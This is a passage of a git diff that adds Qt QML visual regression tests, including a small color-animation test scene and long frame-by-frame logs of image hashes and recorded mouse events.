+ hash: "575d30ac088448b01f49082519bbb3a1"
+ }
+ Frame {
+ msec: 2864
+ hash: "d9af30557f99b086bb1a185a946b580d"
+ }
+ Frame {
+ msec: 2880
+ hash: "82363265ed2b611a54f8d48b2af22f11"
+ }
+ Frame {
+ msec: 2896
+ image: "bindinganimation.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f"
+ }
+ Frame {
+ msec: 2928
+ hash: "56c72b5da44bd5efdc47c3b9c3eac409"
+ }
+ Frame {
+ msec: 2944
+ hash: "72731478d80f024076ea639b55152360"
+ }
+ Frame {
+ msec: 2960
+ hash: "4279c814163af3bd069ce21b3cd1c729"
+ }
+ Frame {
+ msec: 2976
+ hash: "72a0c017a2fa90a4aeadfa6e552ff573"
+ }
+ Frame {
+ msec: 2992
+ hash: "391ad7ff2362e059f6170dfe306f94a7"
+ }
+ Frame {
+ msec: 3008
+ hash: "0b0c6419e1e5b016d9c22bd98fd452b1"
+ }
+ Frame {
+ msec: 3024
+ hash: "365c824c330398d267ea52ae9468b9ee"
+ }
+ Frame {
+ msec: 3040
+ hash: "65ad7e0189c096792331bd1bb0daf0db"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 81; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3056
+ hash: "65ad7e0189c096792331bd1bb0daf0db"
+ }
+ Frame {
+ msec: 3072
+ hash: "a21aa1984f068650cce2a124a82c12be"
+ }
+ Frame {
+ msec: 3088
+ hash: "8006ceaa02d22b5fdfeab400d39a0caf"
+ }
+ Frame {
+ msec: 3104
+ hash: "6f48d1a9977b77cafd38a5903017605b"
+ }
+ Frame {
+ msec: 3120
+ hash: "07f751ea4cf877ba72fbb36f9da268d7"
+ }
+ Frame {
+ msec: 3136
+ hash: "72731478d80f024076ea639b55152360"
+ }
+ Frame {
+ msec: 3152
+ hash: "37739777a5979f3ebf85e47e63341660"
+ }
+ Frame {
+ msec: 3168
+ hash: "ed47684a0b21836cd27549e0989e96dd"
+ }
+ Frame {
+ msec: 3184
+ hash: "772396bb23c713f34ea5c23bfbcb115e"
+ }
+ Frame {
+ msec: 3200
+ hash: "ecda10356cca33901c2acd0a702fee46"
+ }
+ Frame {
+ msec: 3216
+ hash: "575d30ac088448b01f49082519bbb3a1"
+ }
+ Frame {
+ msec: 3232
+ hash: "2e3f134664df8204a291af2c9f81239a"
+ }
+ Frame {
+ msec: 3248
+ hash: "967fbad8ac664400a3efbe66617d62aa"
+ }
+ Frame {
+ msec: 3264
+ hash: "2b93a05b0e78e52d8d8bc2c71d898d3e"
+ }
+ Frame {
+ msec: 3280
+ hash: "c7a9850ed078eb0cfdb5a7ef11840d64"
+ }
+ Frame {
+ msec: 3296
+ hash: "96c077e3a572edff04fa9b2f7020ffd0"
+ }
+ Frame {
+ msec: 3312
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3328
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3344
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3360
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3376
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3392
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3408
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3424
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3440
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3456
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3472
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3488
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3504
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3520
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3536
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3552
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3568
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3584
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3600
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3616
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3632
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3648
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3664
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3680
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3696
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3712
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3728
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3744
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3760
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3776
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3792
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+ Frame {
+ msec: 3808
+ hash: "7cb5fc371040e587de9f06ce14a4b29a"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/colorAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/colorAnimation/colorAnimation-visual.qml
new file mode 100644
index 00000000..235ad9d9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/colorAnimation-visual.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: mainrect
+ width: 200; height: 200
+ state: "first"
+ states: [
+ State {
+ name: "first"
+ PropertyChanges {
+ target: mainrect
+ color: "red"
+ }
+ },
+ State {
+ name: "second"
+ PropertyChanges {
+ target: mainrect
+ color: "blue"
+ }
+ }
+ ]
+ transitions: [
+ Transition {
+ from: "first"
+ to: "second"
+ reversible: true
+ SequentialAnimation {
+ ColorAnimation {
+ duration: 2000
+ target: mainrect
+ property: "color"
+ }
+ }
+ }
+ ]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { mainrect.state = 'second' }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.0.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.0.png
new file mode 100644
index 00000000..99748a7a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.1.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.1.png
new file mode 100644
index 00000000..5393dd83
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.2.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.2.png
new file mode 100644
index 00000000..8c17bf76
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.3.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.3.png
new file mode 100644
index 00000000..1317eef8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.qml
new file mode 100644
index 00000000..930f08f7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data-X11/colorAnimation-visual.qml
@@ -0,0 +1,951 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "colorAnimation-visual.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 48
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 64
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 80
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 96
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 112
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 128
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 144
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 160
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 176
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 192
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 208
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 224
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 240
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 256
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 272
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 288
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 304
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 320
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 336
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 352
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 368
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 384
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 400
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 416
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 432
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 448
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 464
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 480
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 496
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 512
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 93; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 528
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 544
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 560
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 576
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 592
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 93; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 608
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 624
+ hash: "e5bda0daf98288ce18db6ce06eda3ba0"
+ }
+ Frame {
+ msec: 640
+ hash: "d35008f75b8c992f80fb16ba7203649d"
+ }
+ Frame {
+ msec: 656
+ hash: "14f43e0784ddf42ea8550db88c501bf1"
+ }
+ Frame {
+ msec: 672
+ hash: "02276e158b5391480b1bdeaadf1fb903"
+ }
+ Frame {
+ msec: 688
+ hash: "35d9513eb97a2c482b7cd197de910934"
+ }
+ Frame {
+ msec: 704
+ hash: "faf0fd681e60bb2489099f5df772b6cd"
+ }
+ Frame {
+ msec: 720
+ hash: "a863d3e346f94785a3a392fdc91526eb"
+ }
+ Frame {
+ msec: 736
+ hash: "fdf328d3f6eb8410da59a91345e41a44"
+ }
+ Frame {
+ msec: 752
+ hash: "83514a3b10d5be8f6c3b128d0f3e0b1c"
+ }
+ Frame {
+ msec: 768
+ hash: "ead0eae76cd00189075964671effbaea"
+ }
+ Frame {
+ msec: 784
+ hash: "24d2457fcd51490fda23071bf9929d12"
+ }
+ Frame {
+ msec: 800
+ hash: "1478683446cf543dacbe31d0b76a98a6"
+ }
+ Frame {
+ msec: 816
+ hash: "99f7da1f31fe920f6c02add4042ae925"
+ }
+ Frame {
+ msec: 832
+ hash: "22def892006cf66667770b0f17baf6c0"
+ }
+ Frame {
+ msec: 848
+ hash: "6a36d5a77099bfd58baf285478ff04e4"
+ }
+ Frame {
+ msec: 864
+ hash: "6258150666b59b20ab476724c07fc20c"
+ }
+ Frame {
+ msec: 880
+ hash: "f1636315bc950a6dd400d9c7ed263b88"
+ }
+ Frame {
+ msec: 896
+ hash: "18447ea8dc2e8da956788e5b3cf3790a"
+ }
+ Frame {
+ msec: 912
+ hash: "1d2a6e65997a73e9e670356c8e8b63b2"
+ }
+ Frame {
+ msec: 928
+ hash: "bed0242c0f9ef229d1392835286d5782"
+ }
+ Frame {
+ msec: 944
+ hash: "88923c190e9e5beadef8a409c06df9d6"
+ }
+ Frame {
+ msec: 960
+ hash: "2d133e7ee60c97386f57838b3f0976c7"
+ }
+ Frame {
+ msec: 976
+ image: "colorAnimation-visual.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "395195716d76bc0be7b2033ed37a7a1c"
+ }
+ Frame {
+ msec: 1008
+ hash: "243dbffcf416926242bbcb7348974c4c"
+ }
+ Frame {
+ msec: 1024
+ hash: "a755068679616d8ac65c2aa7431f2a19"
+ }
+ Frame {
+ msec: 1040
+ hash: "e8249b35a47eb492cbdf2d91cc8426f0"
+ }
+ Frame {
+ msec: 1056
+ hash: "15f3da1c0e6f0779b96859d51171dd27"
+ }
+ Frame {
+ msec: 1072
+ hash: "258c0c756aac3de743b43051f2aace6b"
+ }
+ Frame {
+ msec: 1088
+ hash: "a58b9fdf301d72b2cc5c93934cc8927b"
+ }
+ Frame {
+ msec: 1104
+ hash: "a9181d30870d472521f8904818ce520f"
+ }
+ Frame {
+ msec: 1120
+ hash: "7f9e94069ccf3897c26a71bd7becd903"
+ }
+ Frame {
+ msec: 1136
+ hash: "bdf305c2f46cdb86dbf57b1e0cc5a65b"
+ }
+ Frame {
+ msec: 1152
+ hash: "fe5b6865d7e4fc7d1d42c1e74f8666f7"
+ }
+ Frame {
+ msec: 1168
+ hash: "734f0de45a6e34c9eab7ef606196f96a"
+ }
+ Frame {
+ msec: 1184
+ hash: "02a361c4534fdf7f286dc3e6dc23275c"
+ }
+ Frame {
+ msec: 1200
+ hash: "e649155ad69999c14b92f6561e4d1185"
+ }
+ Frame {
+ msec: 1216
+ hash: "01af177084fab755d622973f64b92018"
+ }
+ Frame {
+ msec: 1232
+ hash: "097cc4a082dfab995d213a3a73883c97"
+ }
+ Frame {
+ msec: 1248
+ hash: "d7b4239a3280b1eb8e885e3f422df8e9"
+ }
+ Frame {
+ msec: 1264
+ hash: "59893977994e34e83f91e7ce3ad65d6d"
+ }
+ Frame {
+ msec: 1280
+ hash: "b68e3fbb5cdcd6bd96df7dec558db42b"
+ }
+ Frame {
+ msec: 1296
+ hash: "94ad0580648f36a1e18a9ea7e249b04d"
+ }
+ Frame {
+ msec: 1312
+ hash: "750a4c01d2f5806a89a1c6cc6a9b9a68"
+ }
+ Frame {
+ msec: 1328
+ hash: "4f109f50f388f1bfa4bc6b03b3e6e514"
+ }
+ Frame {
+ msec: 1344
+ hash: "c6168d5cf27a533e8ee636637667be47"
+ }
+ Frame {
+ msec: 1360
+ hash: "f8120547bed987aa34c00da5a01a4d1e"
+ }
+ Frame {
+ msec: 1376
+ hash: "cbff526136fa2c128c8b898fbbef9e5c"
+ }
+ Frame {
+ msec: 1392
+ hash: "f29e52398fab1a239a63df4c32f2fc69"
+ }
+ Frame {
+ msec: 1408
+ hash: "7178bfe86fd2fd513218b33760460f8d"
+ }
+ Frame {
+ msec: 1424
+ hash: "ca83285bc8ac633403896fe976896eb0"
+ }
+ Frame {
+ msec: 1440
+ hash: "96ba486c09cc69d5aa38c46c00df1181"
+ }
+ Frame {
+ msec: 1456
+ hash: "b88eab335842787869f4a14824c19dd8"
+ }
+ Frame {
+ msec: 1472
+ hash: "065aa59012729e1e1a246a2083142690"
+ }
+ Frame {
+ msec: 1488
+ hash: "dd0e98c8398861002c5f178c5f9f612d"
+ }
+ Frame {
+ msec: 1504
+ hash: "04192c2b545948048eccf4d81bbde198"
+ }
+ Frame {
+ msec: 1520
+ hash: "bb7502c7208281ef9fd41714ab88a1a8"
+ }
+ Frame {
+ msec: 1536
+ hash: "5397195471890d08b703dca101e5bc7c"
+ }
+ Frame {
+ msec: 1552
+ hash: "4c678cdbebb2ffd2cbf012ca77800cde"
+ }
+ Frame {
+ msec: 1568
+ hash: "0d7a34ecd0c7f52b2c015037bf1902c6"
+ }
+ Frame {
+ msec: 1584
+ hash: "fd9d5048be749ac4369fda2d018b43ae"
+ }
+ Frame {
+ msec: 1600
+ hash: "93ee03795cd57ae6f7fe3a020b039ad4"
+ }
+ Frame {
+ msec: 1616
+ hash: "5e1118963f219c39761ca7fbf564a9ca"
+ }
+ Frame {
+ msec: 1632
+ hash: "8f40038741903150136170503649d941"
+ }
+ Frame {
+ msec: 1648
+ hash: "b087b7d0aa6224821f8e18718ff5e77d"
+ }
+ Frame {
+ msec: 1664
+ hash: "aa46b04a3c67dc772265ed2901955565"
+ }
+ Frame {
+ msec: 1680
+ hash: "ac024bf2aeb4becdf31a09fe0a6db8f3"
+ }
+ Frame {
+ msec: 1696
+ hash: "13745a174e4d06e2108a5bf125ba50cc"
+ }
+ Frame {
+ msec: 1712
+ hash: "bd972f0d8e230eca0b3fea1b8c960c08"
+ }
+ Frame {
+ msec: 1728
+ hash: "cbdbec802a58e7ced0cf45b3ab0bc0ba"
+ }
+ Frame {
+ msec: 1744
+ hash: "5128584c50305c7d218b81b8367fa3d5"
+ }
+ Frame {
+ msec: 1760
+ hash: "a71461d3593f3685620668916de870bd"
+ }
+ Frame {
+ msec: 1776
+ hash: "74ebac8f32cf044b58d9883dbcd9a722"
+ }
+ Frame {
+ msec: 1792
+ hash: "fedc5b638f339b90fe59b478721e65b7"
+ }
+ Frame {
+ msec: 1808
+ hash: "8593a81be812edf54ec94da8ae9c1314"
+ }
+ Frame {
+ msec: 1824
+ hash: "4e9b083075bc5e9287a8abc982778b56"
+ }
+ Frame {
+ msec: 1840
+ hash: "1d6f02aa99afa47d77fc49ab894b365a"
+ }
+ Frame {
+ msec: 1856
+ hash: "a204feec783b3b05de4c209c21745826"
+ }
+ Frame {
+ msec: 1872
+ hash: "665a2a8ff00b9663157802767f504754"
+ }
+ Frame {
+ msec: 1888
+ hash: "624fb09ebe60cb87d767faf8d2420b1e"
+ }
+ Frame {
+ msec: 1904
+ hash: "e5af0cdc33f3275a25abb09e9165f310"
+ }
+ Frame {
+ msec: 1920
+ hash: "02bafb5a81ca66f7670ac93de5123860"
+ }
+ Frame {
+ msec: 1936
+ image: "colorAnimation-visual.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "b5abd0dff1ab076faac7cc226e83f5d0"
+ }
+ Frame {
+ msec: 1968
+ hash: "b759acc35bccff8efc2e6fe276ddc0f7"
+ }
+ Frame {
+ msec: 1984
+ hash: "ce52e18c1f7732768779863b45314ff5"
+ }
+ Frame {
+ msec: 2000
+ hash: "99d30652559dd6931e0c95543eeaa149"
+ }
+ Frame {
+ msec: 2016
+ hash: "ffbd9a00e05e085b89296d19d5caec57"
+ }
+ Frame {
+ msec: 2032
+ hash: "9c9d658b9c25602816b8066bf19105db"
+ }
+ Frame {
+ msec: 2048
+ hash: "2b7fd058e6601e22a30bb7106b1c683b"
+ }
+ Frame {
+ msec: 2064
+ hash: "f4c7e26b19ee0a3e7c9688685eb7bd05"
+ }
+ Frame {
+ msec: 2080
+ hash: "0dc6d593bceff56b7f81f2a49d37fefb"
+ }
+ Frame {
+ msec: 2096
+ hash: "9bfd7ad5091ccbdde43c593e133a7b10"
+ }
+ Frame {
+ msec: 2112
+ hash: "2703b617937914a90ea42ebf249d79ee"
+ }
+ Frame {
+ msec: 2128
+ hash: "b77e2983138254016c4cca53100f46fa"
+ }
+ Frame {
+ msec: 2144
+ hash: "60c4dd24187d1281081479e586f02b37"
+ }
+ Frame {
+ msec: 2160
+ hash: "62f2511abd99ef1231c9fa4b91d4abfe"
+ }
+ Frame {
+ msec: 2176
+ hash: "e309b3353fd174e883d309571caddc98"
+ }
+ Frame {
+ msec: 2192
+ hash: "1e2d6a134c7b12dde551b148ef4f088c"
+ }
+ Frame {
+ msec: 2208
+ hash: "e5dc5450604a491cc24a0dcf5c278b58"
+ }
+ Frame {
+ msec: 2224
+ hash: "c8dae97c10e1962c1e6a51ab3ab8579e"
+ }
+ Frame {
+ msec: 2240
+ hash: "4e1b7e06f55fb084080689b474f1fe1d"
+ }
+ Frame {
+ msec: 2256
+ hash: "b4639c907fa937bf15fac62421170cd8"
+ }
+ Frame {
+ msec: 2272
+ hash: "c250208a0caeb5f6cb4d3aac3d7d350b"
+ }
+ Frame {
+ msec: 2288
+ hash: "a73351eabecf0d71149efe31f197413e"
+ }
+ Frame {
+ msec: 2304
+ hash: "479425f1b7aff79e4dfb7fca534af018"
+ }
+ Frame {
+ msec: 2320
+ hash: "046d0f0040a52d1f26ba9f7c5de06ef4"
+ }
+ Frame {
+ msec: 2336
+ hash: "655778bf13c6080903150b0eb43a7edc"
+ }
+ Frame {
+ msec: 2352
+ hash: "72da0bbe81514870655fdd3354adac60"
+ }
+ Frame {
+ msec: 2368
+ hash: "defe0bdf675c65fff55aaaced1e4dae7"
+ }
+ Frame {
+ msec: 2384
+ hash: "c988628b6c3d3780e9a865c7694926cd"
+ }
+ Frame {
+ msec: 2400
+ hash: "5ab17563655231089edd986ff13d6012"
+ }
+ Frame {
+ msec: 2416
+ hash: "c1adff1d2e5800ed466d1691d3b17382"
+ }
+ Frame {
+ msec: 2432
+ hash: "70129ba01fbb19592b9dc0d0a3b3e7df"
+ }
+ Frame {
+ msec: 2448
+ hash: "0000829ef7ed908bf430d42904d59cc2"
+ }
+ Frame {
+ msec: 2464
+ hash: "843d2927f50ab87b4a86b7a6aaeed91f"
+ }
+ Frame {
+ msec: 2480
+ hash: "da86d21756025e7de8050586d5e2a1f8"
+ }
+ Frame {
+ msec: 2496
+ hash: "48dd1bd6580133b0793fee327ea4f1e6"
+ }
+ Frame {
+ msec: 2512
+ hash: "f0618193dcd0ba2837249515a1898b1c"
+ }
+ Frame {
+ msec: 2528
+ hash: "a530184e57251065286c0cbba7301e9c"
+ }
+ Frame {
+ msec: 2544
+ hash: "64a1d7203973d65dd342793007a61c58"
+ }
+ Frame {
+ msec: 2560
+ hash: "5b830dfc6ba442772de87d75d5a578de"
+ }
+ Frame {
+ msec: 2576
+ hash: "5563b056b0409b65f60dd16dd0dd890e"
+ }
+ Frame {
+ msec: 2592
+ hash: "b8bcf9ad2ca8720c11563a23d8280804"
+ }
+ Frame {
+ msec: 2608
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2624
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2640
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2656
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2672
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2688
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2704
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2720
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2736
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2752
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2768
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2784
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2800
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2816
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2832
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2848
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2864
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2880
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2896
+ image: "colorAnimation-visual.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2928
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2944
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2960
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2976
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2992
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3008
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3024
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3040
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3056
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3072
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3088
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3104
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3120
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3136
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3152
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3168
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3184
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3200
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3216
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3232
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3248
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3264
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3280
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3296
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3312
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3328
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3344
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3360
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3376
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3392
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3408
